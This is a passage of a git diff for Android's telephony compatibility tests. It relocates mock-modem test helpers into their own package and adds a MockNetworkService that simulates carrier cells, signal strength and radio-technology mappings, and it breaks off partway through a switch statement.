+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import static android.telephony.mockmodem.MockSimService.MOCK_SIM_PROFILE_ID_DEFAULT;
+
+import static com.android.internal.telephony.RILConstants.RIL_REQUEST_RADIO_POWER;
+
+import android.content.Context;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.Set;
+import java.util.concurrent.TimeUnit;
+
+public class MockModemManager {
+ private static final String TAG = "MockModemManager";
+
+ private static Context sContext;
+ private static MockModemServiceConnector sServiceConnector;
+ private MockModemService mMockModemService;
+
+ public MockModemManager() {
+ sContext = InstrumentationRegistry.getInstrumentation().getContext();
+ }
+
+ private void waitForTelephonyFrameworkDone(int delayInSec) throws Exception {
+ TimeUnit.SECONDS.sleep(delayInSec);
+ }
+
+ /* Public APIs */
+
+ /**
+ * Bring up Mock Modem Service and connect to it.
+ *
+ * @return boolean true if the operation is successful, otherwise false.
+ */
+ public boolean connectMockModemService() throws Exception {
+ return connectMockModemService(MOCK_SIM_PROFILE_ID_DEFAULT);
+ }
+ /**
+ * Bring up Mock Modem Service and connect to it.
+ *
+ * @pararm simprofile for initial Sim profile
+ * @return boolean true if the operation is successful, otherwise false.
+ */
+ public boolean connectMockModemService(int simprofile) throws Exception {
+ boolean result = false;
+
+ if (sServiceConnector == null) {
+ sServiceConnector =
+ new MockModemServiceConnector(InstrumentationRegistry.getInstrumentation());
+ }
+
+ if (sServiceConnector != null) {
+ // TODO: support DSDS
+ result = sServiceConnector.connectMockModemService(simprofile);
+
+ if (result) {
+ mMockModemService = sServiceConnector.getMockModemService();
+
+ if (mMockModemService != null) {
+ /*
+ It needs to have a delay to wait for Telephony Framework to bind with
+ MockModemService and set radio power as a desired state for initial condition
+ even get SIM card state. Currently, 1 sec is enough for now.
+ */
+ waitForTelephonyFrameworkDone(1);
+ } else {
+ Log.e(TAG, "MockModemService get failed!");
+ result = false;
+ }
+ }
+ } else {
+ Log.e(TAG, "Create MockModemServiceConnector failed!");
+ }
+
+ return result;
+ }
+
+ /**
+ * Disconnect from Mock Modem Service.
+ *
+ * @return boolean true if the operation is successful, otherwise false.
+ */
+ public boolean disconnectMockModemService() throws Exception {
+ boolean result = false;
+
+ if (sServiceConnector != null) {
+ result = sServiceConnector.disconnectMockModemService();
+
+ if (result) {
+ mMockModemService = null;
+ } else {
+ Log.e(TAG, "MockModemService disconnected failed!");
+ }
+ } else {
+ Log.e(TAG, "No MockModemServiceConnector exist!");
+ }
+
+ return result;
+ }
+
+ /**
+ * Query whether an active SIM card is present on this slot or not.
+ *
+ * @param slotId which slot would be checked.
+ * @return boolean true if any sim card inserted, otherwise false.
+ */
+ public boolean isSimCardPresent(int slotId) throws Exception {
+ Log.d(TAG, "isSimCardPresent[" + slotId + "]");
+
+ MockModemConfigInterface[] configInterfaces =
+ mMockModemService.getMockModemConfigInterfaces();
+ return (configInterfaces != null) ? configInterfaces[slotId].isSimCardPresent(TAG) : false;
+ }
+
+ /**
+ * Insert a SIM card.
+ *
+ * @param slotId which slot would insert.
+ * @param simProfileId which carrier sim card is inserted.
+ * @return boolean true if the operation is successful, otherwise false.
+ */
+ public boolean insertSimCard(int slotId, int simProfileId) throws Exception {
+ Log.d(TAG, "insertSimCard[" + slotId + "] with profile Id(" + simProfileId + ")");
+ boolean result = true;
+
+ if (!isSimCardPresent(slotId)) {
+ MockModemConfigInterface[] configInterfaces =
+ mMockModemService.getMockModemConfigInterfaces();
+ if (configInterfaces != null) {
+ configInterfaces[slotId].changeSimProfile(simProfileId, TAG);
+ waitForTelephonyFrameworkDone(1);
+ }
+ } else {
+ Log.d(TAG, "There is a SIM inserted. Need to remove first.");
+ result = false;
+ }
+ return result;
+ }
+
+ /**
+ * Remove a SIM card.
+ *
+ * @param slotId which slot would remove the SIM.
+ * @return boolean true if the operation is successful, otherwise false.
+ */
+ public boolean removeSimCard(int slotId) throws Exception {
+ Log.d(TAG, "removeSimCard[" + slotId + "]");
+ boolean result = true;
+
+ if (isSimCardPresent(slotId)) {
+ MockModemConfigInterface[] configInterfaces =
+ mMockModemService.getMockModemConfigInterfaces();
+ if (configInterfaces != null) {
+ configInterfaces[slotId].changeSimProfile(MOCK_SIM_PROFILE_ID_DEFAULT, TAG);
+ waitForTelephonyFrameworkDone(1);
+ }
+ } else {
+ Log.d(TAG, "There is no SIM inserted.");
+ result = false;
+ }
+ return result;
+ }
+
+ /**
+ * Modify SIM info of the SIM such as MCC/MNC, IMSI, etc.
+ *
+ * @param slotId for modifying.
+ * @param type the type of SIM info to modify.
+ * @param data to modify for the type of SIM info.
+ * @return boolean true if the operation is successful, otherwise false.
+ */
+ public boolean setSimInfo(int slotId, int type, String[] data) throws Exception {
+ Log.d(TAG, "setSimInfo[" + slotId + "]");
+ boolean result = true;
+
+ if (isSimCardPresent(slotId)) {
+ MockModemConfigInterface[] configInterfaces =
+ mMockModemService.getMockModemConfigInterfaces();
+ if (configInterfaces != null) {
+ configInterfaces[slotId].setSimInfo(type, data, TAG);
+
+ // Wait for telephony framework refresh data and carrier config
+ waitForTelephonyFrameworkDone(2);
+ } else {
+ Log.e(TAG, "MockModemConfigInterface == null!");
+ result = false;
+ }
+ } else {
+ Log.d(TAG, "There is no SIM inserted.");
+ result = false;
+ }
+ return result;
+ }
+
+ /**
+ * Get SIM info of the SIM slot, e.g. MCC/MNC, IMSI.
+ *
+ * @param slotId for the query.
+ * @param type the type of SIM info.
+ * @return String the SIM info of the queried type.
+ */
+ public String getSimInfo(int slotId, int type) throws Exception {
+ Log.d(TAG, "getSimInfo[" + slotId + "]");
+ String result = "";
+
+ if (isSimCardPresent(slotId)) {
+ MockModemConfigInterface[] configInterfaces =
+ mMockModemService.getMockModemConfigInterfaces();
+ if (configInterfaces != null) {
+ result = configInterfaces[slotId].getSimInfo(type, TAG);
+ }
+ } else {
+ Log.d(TAG, "There is no SIM inserted.");
+ }
+ return result;
+ }
+
+ /**
+ * Force the response error return for a specific RIL request
+ *
+ * @param slotId which slot needs to be set.
+ * @param requestId the request/response message ID
+ * @param error RIL_Errno and -1 means to disable the modified mechanism, back to original mock
+ * modem behavior
+ * @return boolean true if the operation is successful, otherwise false.
+ */
+ public boolean forceErrorResponse(int slotId, int requestId, int error) throws Exception {
+ Log.d(
+ TAG,
+ "forceErrorResponse[" + slotId + "] for request:" + requestId + " ,error:" + error);
+ boolean result = true;
+
+ // TODO: support DSDS
+ switch (requestId) {
+ case RIL_REQUEST_RADIO_POWER:
+ mMockModemService.getIRadioModem().forceErrorResponse(requestId, error);
+ break;
+ default:
+ Log.e(TAG, "request:" + requestId + " not support to change the response error");
+ result = false;
+ break;
+ }
+ return result;
+ }
+
+ /**
+ * Make the modem is in service or not.
+ *
+ * @param slotId which SIM slot is under the carrierId network.
+ * @param carrierId which carrier network is used.
+ * @param registration boolean true if the modem is in service, otherwise false.
+ * @return boolean true if the operation is successful, otherwise false.
+ */
+ public boolean changeNetworkService(int slotId, int carrierId, boolean registration)
+ throws Exception {
+ Log.d(
+ TAG,
+ "changeNetworkService["
+ + slotId
+ + "] in carrier ("
+ + carrierId
+ + ") "
+ + registration);
+
+ boolean result;
+ // TODO: support DSDS for slotId
+ result = mMockModemService.getIRadioNetwork().changeNetworkService(carrierId, registration);
+
+ waitForTelephonyFrameworkDone(1);
+ return result;
+ }
+
+ /**
+ * get GSM CellBroadcastConfig outputs from IRadioMessagingImpl
+ *
+ * @return Set of broadcast configs
+ */
+ public Set<Integer> getGsmBroadcastConfig() {
+ return mMockModemService.getIRadioMessaging().getGsmBroadcastConfigSet();
+ }
+
+ /**
+ * get CDMA CellBroadcastConfig outputs from IRadioMessagingImpl
+ *
+ * @return Set of broadcast configs
+ */
+ public Set<Integer> getCdmaBroadcastConfig() {
+ return mMockModemService.getIRadioMessaging().getCdmaBroadcastConfigSet();
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MockModemService.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java
similarity index 94%
rename from tests/tests/telephony/current/src/android/telephony/cts/MockModemService.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java
index 741b0e7..f2523a4 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MockModemService.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.telephony.cts;
+package android.telephony.mockmodem;
import android.app.Service;
import android.content.Context;
@@ -36,13 +36,15 @@
private static final String TAG = "MockModemService";
public static final int TEST_TIMEOUT_MS = 30000;
- public static final String IRADIOCONFIG_INTERFACE = "android.telephony.cts.iradioconfig";
- public static final String IRADIOMODEM_INTERFACE = "android.telephony.cts.iradiomodem";
- public static final String IRADIOSIM_INTERFACE = "android.telephony.cts.iradiosim";
- public static final String IRADIONETWORK_INTERFACE = "android.telephony.cts.iradionetwork";
- public static final String IRADIODATA_INTERFACE = "android.telephony.cts.iradiodata";
- public static final String IRADIOMESSAGING_INTERFACE = "android.telephony.cts.iradiomessaging";
- public static final String IRADIOVOICE_INTERFACE = "android.telephony.cts.iradiovoice";
+ public static final String IRADIOCONFIG_INTERFACE = "android.telephony.mockmodem.iradioconfig";
+ public static final String IRADIOMODEM_INTERFACE = "android.telephony.mockmodem.iradiomodem";
+ public static final String IRADIOSIM_INTERFACE = "android.telephony.mockmodem.iradiosim";
+ public static final String IRADIONETWORK_INTERFACE =
+ "android.telephony.mockmodem.iradionetwork";
+ public static final String IRADIODATA_INTERFACE = "android.telephony.mockmodem.iradiodata";
+ public static final String IRADIOMESSAGING_INTERFACE =
+ "android.telephony.mockmodem.iradiomessaging";
+ public static final String IRADIOVOICE_INTERFACE = "android.telephony.mockmodem.iradiovoice";
public static final String PHONE_ID = "phone_id";
private static Context sContext;
@@ -115,7 +117,8 @@
// TODO: Support DSDS
sIRadioModemImpl = new IRadioModemImpl(this, sMockModemConfigInterfaces, DEFAULT_SUB_ID);
sIRadioSimImpl = new IRadioSimImpl(this, sMockModemConfigInterfaces, DEFAULT_SUB_ID);
- sIRadioNetworkImpl = new IRadioNetworkImpl(this);
+ sIRadioNetworkImpl =
+ new IRadioNetworkImpl(this, sMockModemConfigInterfaces, DEFAULT_SUB_ID);
sIRadioDataImpl = new IRadioDataImpl(this);
sIRadioMessagingImpl = new IRadioMessagingImpl(this);
sIRadioVoiceImpl = new IRadioVoiceImpl(this);
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MockModemServiceConnector.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemServiceConnector.java
similarity index 94%
rename from tests/tests/telephony/current/src/android/telephony/cts/MockModemServiceConnector.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemServiceConnector.java
index 039a1e1..8031994 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MockModemServiceConnector.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemServiceConnector.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.telephony.cts;
+package android.telephony.mockmodem;
import android.app.Instrumentation;
import android.content.ComponentName;
@@ -22,6 +22,7 @@
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.IBinder;
+import android.telephony.cts.TelephonyUtils;
import android.text.TextUtils;
import android.util.Log;
@@ -33,7 +34,6 @@
private static final String TAG = "MockModemServiceConnector";
- private static final String DEFAULT_SERVICE_NAME = MockModemService.class.getClass().getName();
private static final String COMMAND_BASE = "cmd phone ";
private static final String COMMAND_SET_MODEM_SERVICE = "radio set-modem-service ";
private static final String COMMAND_GET_MODEM_SERVICE = "radio get-modem-service ";
@@ -56,10 +56,8 @@
public void onServiceConnected(ComponentName name, IBinder service) {
String serviceName;
mMockModemService = ((MockModemService.LocalBinder) service).getService();
- serviceName = mMockModemService.getClass().getName();
- if (!isDefaultMockModemService(serviceName)) {
- updateModemServiceName(serviceName);
- }
+ serviceName = name.getPackageName() + "/" + name.getClassName();
+ updateModemServiceName(serviceName);
mLatch.countDown();
Log.d(TAG, "MockModemServiceConnection - " + serviceName + " onServiceConnected");
}
@@ -164,10 +162,6 @@
return result;
}
- private boolean isDefaultMockModemService(String serviceName) {
- return TextUtils.equals(DEFAULT_SERVICE_NAME, serviceName);
- }
-
/**
* Bind to the local implementation of MockModemService.
*
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockNetworkService.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockNetworkService.java
new file mode 100644
index 0000000..2324cc2
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockNetworkService.java
@@ -0,0 +1,688 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import android.hardware.radio.network.CellConnectionStatus;
+import android.hardware.radio.network.CellInfo;
+import android.hardware.radio.network.CellInfoLte;
+import android.hardware.radio.network.CellInfoRatSpecificInfo;
+import android.hardware.radio.network.CellInfoWcdma;
+import android.hardware.radio.network.RegState;
+import android.telephony.RadioAccessFamily;
+import android.telephony.ServiceState;
+import android.util.Log;
+
+import com.android.internal.telephony.RILConstants;
+
+import java.util.ArrayList;
+
+public class MockNetworkService {
+ private static final String TAG = "MockNetworkService";
+
+ // Grouping of RAFs
+ // 2G
+ public static final int GSM =
+ RadioAccessFamily.RAF_GSM | RadioAccessFamily.RAF_GPRS | RadioAccessFamily.RAF_EDGE;
+ public static final int CDMA =
+ RadioAccessFamily.RAF_IS95A | RadioAccessFamily.RAF_IS95B | RadioAccessFamily.RAF_1xRTT;
+ // 3G
+ public static final int EVDO =
+ RadioAccessFamily.RAF_EVDO_0
+ | RadioAccessFamily.RAF_EVDO_A
+ | RadioAccessFamily.RAF_EVDO_B
+ | RadioAccessFamily.RAF_EHRPD;
+ public static final int HS =
+ RadioAccessFamily.RAF_HSUPA
+ | RadioAccessFamily.RAF_HSDPA
+ | RadioAccessFamily.RAF_HSPA
+ | RadioAccessFamily.RAF_HSPAP;
+ public static final int WCDMA = HS | RadioAccessFamily.RAF_UMTS;
+ // 4G
+ public static final int LTE = RadioAccessFamily.RAF_LTE | RadioAccessFamily.RAF_LTE_CA;
+ // 5G
+ public static final int NR = RadioAccessFamily.RAF_NR;
+
+ static final int MOCK_CARRIER_NO_SERVICE = 0;
+ // TODO: Integrate carrier network parameters with SIM profile
+ static final int MOCK_CARRIER_CHT = 1;
+ static final int MOCK_CARRIER_FET = 2;
+
+ // Network status update reason
+ static final int NETWORK_UPDATE_PREFERRED_MODE_CHANGE = 1;
+
+ private int mCsRegState = RegState.NOT_REG_MT_NOT_SEARCHING_OP;
+ private int mPsRegState = RegState.NOT_REG_MT_NOT_SEARCHING_OP;
+
+ private String mSimPlmn;
+ private boolean mIsHomeCamping;
+ private boolean mIsRoamingCamping;
+ private int mHomeCarrierId;
+ private int mRoamingCarrierId;
+ private int mInServiceCarrierId;
+ private int mHighRat;
+
+ private ArrayList<MockModemCell> mCellList = new ArrayList<MockModemCell>();
+
+ private class MockModemCell {
+ private int mCarrierId;
+
+ // Non-AOSP
+ public String[] mEHPlmnList;
+ public String[] mAllowRoamingList;
+
+ // AOSP
+ private CellInfo[] mCells;
+
+ MockModemCell(int carrierConfig) {
+ mCarrierId = carrierConfig;
+ updateHomeRoamingList();
+ updateCellList();
+ }
+
+ public int getCarrierId() {
+ return mCarrierId;
+ }
+
+ public CellInfo[] getCells() {
+ return mCells;
+ }
+
+ private void updateHomeRoamingList() {
+ // TODO: Read from carrier configuration file
+ switch (mCarrierId) {
+ case MOCK_CARRIER_CHT:
+ mEHPlmnList = new String[] {"46692"};
+ mAllowRoamingList = new String[] {"310026"};
+ break;
+ case MOCK_CARRIER_FET:
+ mEHPlmnList = new String[] {"46601"};
+ mAllowRoamingList = new String[] {"310026"};
+ break;
+ case MOCK_CARRIER_NO_SERVICE:
+ default:
+ break;
+ }
+ }
+
+ private void updateCellList() {
+ // TODO: Read from carrier configuration file
+ switch (mCarrierId) {
+ case MOCK_CARRIER_NO_SERVICE:
+ break;
+ case MOCK_CARRIER_CHT:
+ // LTE Cell configuration
+ CellInfoLte lte = new CellInfoLte();
+ lte.cellIdentityLte = new android.hardware.radio.network.CellIdentityLte();
+ lte.cellIdentityLte.mcc = "466";
+ lte.cellIdentityLte.mnc = "92";
+ lte.cellIdentityLte.ci = 101;
+ lte.cellIdentityLte.pci = 273;
+ lte.cellIdentityLte.tac = 13100;
+ lte.cellIdentityLte.earfcn = 9260;
+ lte.cellIdentityLte.operatorNames =
+ new android.hardware.radio.network.OperatorInfo();
+ lte.cellIdentityLte.operatorNames.alphaLong = "Chung Hwa Telecom";
+ lte.cellIdentityLte.operatorNames.alphaShort = "CHT";
+ lte.cellIdentityLte.operatorNames.operatorNumeric = "46692";
+ lte.cellIdentityLte.additionalPlmns = new String[0];
+ lte.cellIdentityLte.bands = new int[0];
+
+ lte.signalStrengthLte = new android.hardware.radio.network.LteSignalStrength();
+ lte.signalStrengthLte.signalStrength = 20;
+ lte.signalStrengthLte.rsrp = 71;
+ lte.signalStrengthLte.rsrq = 6;
+ lte.signalStrengthLte.rssnr = 100;
+ lte.signalStrengthLte.cqi = 13;
+ lte.signalStrengthLte.timingAdvance = 0;
+ lte.signalStrengthLte.cqiTableIndex = 1;
+
+ // WCDMA Cell configuration
+ CellInfoWcdma wcdma = new CellInfoWcdma();
+ wcdma.cellIdentityWcdma =
+ new android.hardware.radio.network.CellIdentityWcdma();
+ wcdma.cellIdentityWcdma.mcc = "466";
+ wcdma.cellIdentityWcdma.mnc = "92";
+ wcdma.cellIdentityWcdma.lac = 9222;
+ wcdma.cellIdentityWcdma.cid = 14549;
+ wcdma.cellIdentityWcdma.psc = 413;
+ wcdma.cellIdentityWcdma.uarfcn = 10613;
+ wcdma.cellIdentityWcdma.operatorNames =
+ new android.hardware.radio.network.OperatorInfo();
+ wcdma.cellIdentityWcdma.operatorNames.alphaLong = "Chung Hwa 3G";
+ wcdma.cellIdentityWcdma.operatorNames.alphaShort = "CHT";
+ wcdma.cellIdentityWcdma.operatorNames.operatorNumeric = "46692";
+ wcdma.cellIdentityWcdma.additionalPlmns = new String[0];
+
+ wcdma.signalStrengthWcdma =
+ new android.hardware.radio.network.WcdmaSignalStrength();
+ wcdma.signalStrengthWcdma.signalStrength = 20;
+ wcdma.signalStrengthWcdma.bitErrorRate = 3;
+ wcdma.signalStrengthWcdma.rscp = 45;
+ wcdma.signalStrengthWcdma.ecno = 25;
+
+ // Fill the cells
+ mCells = new CellInfo[2]; // TODO: 2 is read from config file
+ mCells[0] = new CellInfo();
+ mCells[0].registered = false;
+ mCells[0].connectionStatus = CellConnectionStatus.PRIMARY_SERVING;
+ mCells[0].ratSpecificInfo = new CellInfoRatSpecificInfo();
+ mCells[0].ratSpecificInfo.setLte(lte);
+
+ mCells[1] = new CellInfo();
+ mCells[1].registered = false;
+ mCells[1].connectionStatus = CellConnectionStatus.SECONDARY_SERVING;
+ mCells[1].ratSpecificInfo = new CellInfoRatSpecificInfo();
+ mCells[1].ratSpecificInfo.setWcdma(wcdma);
+ break;
+ case MOCK_CARRIER_FET:
+ // WCDMA Cell configuration
+ CellInfoWcdma wcdma2 = new CellInfoWcdma();
+ wcdma2.cellIdentityWcdma =
+ new android.hardware.radio.network.CellIdentityWcdma();
+ wcdma2.cellIdentityWcdma.mcc = "466";
+ wcdma2.cellIdentityWcdma.mnc = "01";
+ wcdma2.cellIdentityWcdma.lac = 8122;
+ wcdma2.cellIdentityWcdma.cid = 16249;
+ wcdma2.cellIdentityWcdma.psc = 413;
+ wcdma2.cellIdentityWcdma.uarfcn = 10613;
+ wcdma2.cellIdentityWcdma.operatorNames =
+ new android.hardware.radio.network.OperatorInfo();
+ wcdma2.cellIdentityWcdma.operatorNames.alphaLong = "Far EasTone";
+ wcdma2.cellIdentityWcdma.operatorNames.alphaShort = "FET";
+ wcdma2.cellIdentityWcdma.operatorNames.operatorNumeric = "46601";
+ wcdma2.cellIdentityWcdma.additionalPlmns = new String[0];
+
+ wcdma2.signalStrengthWcdma =
+ new android.hardware.radio.network.WcdmaSignalStrength();
+ wcdma2.signalStrengthWcdma.signalStrength = 10;
+ wcdma2.signalStrengthWcdma.bitErrorRate = 6;
+ wcdma2.signalStrengthWcdma.rscp = 55;
+ wcdma2.signalStrengthWcdma.ecno = 15;
+
+ // Fill the cells
+ mCells = new CellInfo[1];
+ mCells[0] = new CellInfo();
+ mCells[0].registered = false;
+ mCells[0].connectionStatus = CellConnectionStatus.PRIMARY_SERVING;
+ mCells[0].ratSpecificInfo = new CellInfoRatSpecificInfo();
+ mCells[0].ratSpecificInfo.setWcdma(wcdma2);
+ break;
+ default:
+ break;
+ }
+ }
+
+ public android.hardware.radio.network.OperatorInfo getPrimaryCellOperatorInfo() {
+ android.hardware.radio.network.OperatorInfo operatorInfo =
+ new android.hardware.radio.network.OperatorInfo();
+ for (CellInfo cellInfo : getCells()) {
+ if (cellInfo.connectionStatus == CellConnectionStatus.PRIMARY_SERVING) {
+ switch (cellInfo.ratSpecificInfo.getTag()) {
+ case CellInfoRatSpecificInfo.wcdma:
+ operatorInfo =
+ cellInfo.ratSpecificInfo.getWcdma()
+ .cellIdentityWcdma
+ .operatorNames;
+ break;
+ case CellInfoRatSpecificInfo.lte:
+ operatorInfo =
+ cellInfo.ratSpecificInfo.getLte().cellIdentityLte.operatorNames;
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ return operatorInfo;
+ }
+
+ public android.hardware.radio.network.SignalStrength getPrimaryCellSignalStrength() {
+ android.hardware.radio.network.SignalStrength signalStrength =
+ new android.hardware.radio.network.SignalStrength();
+
+ signalStrength.gsm = new android.hardware.radio.network.GsmSignalStrength();
+ signalStrength.cdma = new android.hardware.radio.network.CdmaSignalStrength();
+ signalStrength.evdo = new android.hardware.radio.network.EvdoSignalStrength();
+ signalStrength.lte = new android.hardware.radio.network.LteSignalStrength();
+ signalStrength.tdscdma = new android.hardware.radio.network.TdscdmaSignalStrength();
+ signalStrength.wcdma = new android.hardware.radio.network.WcdmaSignalStrength();
+ signalStrength.nr = new android.hardware.radio.network.NrSignalStrength();
+ signalStrength.nr.csiCqiReport = new byte[0];
+
+ for (CellInfo cellInfo : getCells()) {
+ if (cellInfo.connectionStatus == CellConnectionStatus.PRIMARY_SERVING) {
+ switch (cellInfo.ratSpecificInfo.getTag()) {
+ case CellInfoRatSpecificInfo.wcdma:
+ signalStrength.wcdma =
+ cellInfo.ratSpecificInfo.getWcdma().signalStrengthWcdma;
+ break;
+ case CellInfoRatSpecificInfo.lte:
+ signalStrength.lte =
+ cellInfo.ratSpecificInfo.getLte().signalStrengthLte;
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ return signalStrength;
+ }
+
+ public int getPrimaryCellRat() {
+ int rat = android.hardware.radio.RadioTechnology.UNKNOWN;
+
+ for (CellInfo cellInfo : getCells()) {
+ if (cellInfo.connectionStatus == CellConnectionStatus.PRIMARY_SERVING) {
+ switch (cellInfo.ratSpecificInfo.getTag()) {
+ case CellInfoRatSpecificInfo.wcdma:
+ // TODO: Need find an element to assign the rat WCDMA, HSUPA, HSDPA, or
+ // HSPA
+ rat = android.hardware.radio.RadioTechnology.HSPA;
+ break;
+ case CellInfoRatSpecificInfo.lte:
+ rat = android.hardware.radio.RadioTechnology.LTE;
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ return rat;
+ }
+
+ public android.hardware.radio.network.CellIdentity getPrimaryCellIdentity() {
+ android.hardware.radio.network.CellIdentity cellIdentity =
+ android.hardware.radio.network.CellIdentity.noinit(true);
+
+ for (CellInfo cellInfo : getCells()) {
+ if (cellInfo.connectionStatus == CellConnectionStatus.PRIMARY_SERVING) {
+ switch (cellInfo.ratSpecificInfo.getTag()) {
+ case CellInfoRatSpecificInfo.wcdma:
+ cellIdentity.setWcdma(
+ cellInfo.ratSpecificInfo.getWcdma().cellIdentityWcdma);
+ break;
+ case CellInfoRatSpecificInfo.lte:
+ cellIdentity.setLte(cellInfo.ratSpecificInfo.getLte().cellIdentityLte);
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ return cellIdentity;
+ }
+ }
+
+ public MockNetworkService() {
+ loadMockModemCell(MOCK_CARRIER_CHT);
+ loadMockModemCell(MOCK_CARRIER_FET);
+ }
+
+ public void loadMockModemCell(int carrierId) {
+ if (!mCellList.isEmpty()) {
+ for (MockModemCell mmc : mCellList) {
+ if (mmc.getCarrierId() == carrierId) {
+ Log.d(TAG, "Carrier ID " + carrierId + " is loaded.");
+ return;
+ }
+ }
+ }
+
+ mCellList.add(new MockModemCell(carrierId));
+ }
+
+ private int getHighestRatFromNetworkType(int raf) {
+ int rat;
+ int networkMode = RadioAccessFamily.getNetworkTypeFromRaf(raf);
+
+ switch (networkMode) {
+ case RILConstants.NETWORK_MODE_WCDMA_PREF:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+ break;
+ case RILConstants.NETWORK_MODE_GSM_ONLY:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_GSM;
+ break;
+ case RILConstants.NETWORK_MODE_WCDMA_ONLY:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+ break;
+ case RILConstants.NETWORK_MODE_GSM_UMTS:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+ break;
+ case RILConstants.NETWORK_MODE_CDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_IS95A;
+ break;
+ case RILConstants.NETWORK_MODE_LTE_CDMA_EVDO:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+ break;
+ case RILConstants.NETWORK_MODE_LTE_GSM_WCDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+ break;
+ case RILConstants.NETWORK_MODE_LTE_CDMA_EVDO_GSM_WCDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+ break;
+ case RILConstants.NETWORK_MODE_LTE_ONLY:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+ break;
+ case RILConstants.NETWORK_MODE_LTE_WCDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+ break;
+ case RILConstants.NETWORK_MODE_CDMA_NO_EVDO:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_IS95A;
+ break;
+ case RILConstants.NETWORK_MODE_EVDO_NO_CDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_EVDO_0;
+ break;
+ case RILConstants.NETWORK_MODE_GLOBAL:
+ // GSM | WCDMA | CDMA | EVDO;
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+ break;
+ case RILConstants.NETWORK_MODE_TDSCDMA_ONLY:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_TD_SCDMA;
+ break;
+ case RILConstants.NETWORK_MODE_TDSCDMA_WCDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+ break;
+ case RILConstants.NETWORK_MODE_LTE_TDSCDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+ break;
+ case RILConstants.NETWORK_MODE_TDSCDMA_GSM:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_TD_SCDMA;
+ break;
+ case RILConstants.NETWORK_MODE_LTE_TDSCDMA_GSM:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+ break;
+ case RILConstants.NETWORK_MODE_TDSCDMA_GSM_WCDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+ break;
+ case RILConstants.NETWORK_MODE_LTE_TDSCDMA_WCDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+ break;
+ case RILConstants.NETWORK_MODE_LTE_TDSCDMA_GSM_WCDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+ break;
+ case RILConstants.NETWORK_MODE_TDSCDMA_CDMA_EVDO_GSM_WCDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+ break;
+ case RILConstants.NETWORK_MODE_LTE_TDSCDMA_CDMA_EVDO_GSM_WCDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+ break;
+ case RILConstants.NETWORK_MODE_NR_ONLY:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+ break;
+ case RILConstants.NETWORK_MODE_NR_LTE:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+ break;
+ case RILConstants.NETWORK_MODE_NR_LTE_CDMA_EVDO:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+ break;
+ case RILConstants.NETWORK_MODE_NR_LTE_GSM_WCDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+ break;
+ case RILConstants.NETWORK_MODE_NR_LTE_CDMA_EVDO_GSM_WCDMA:
+ rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+ break;
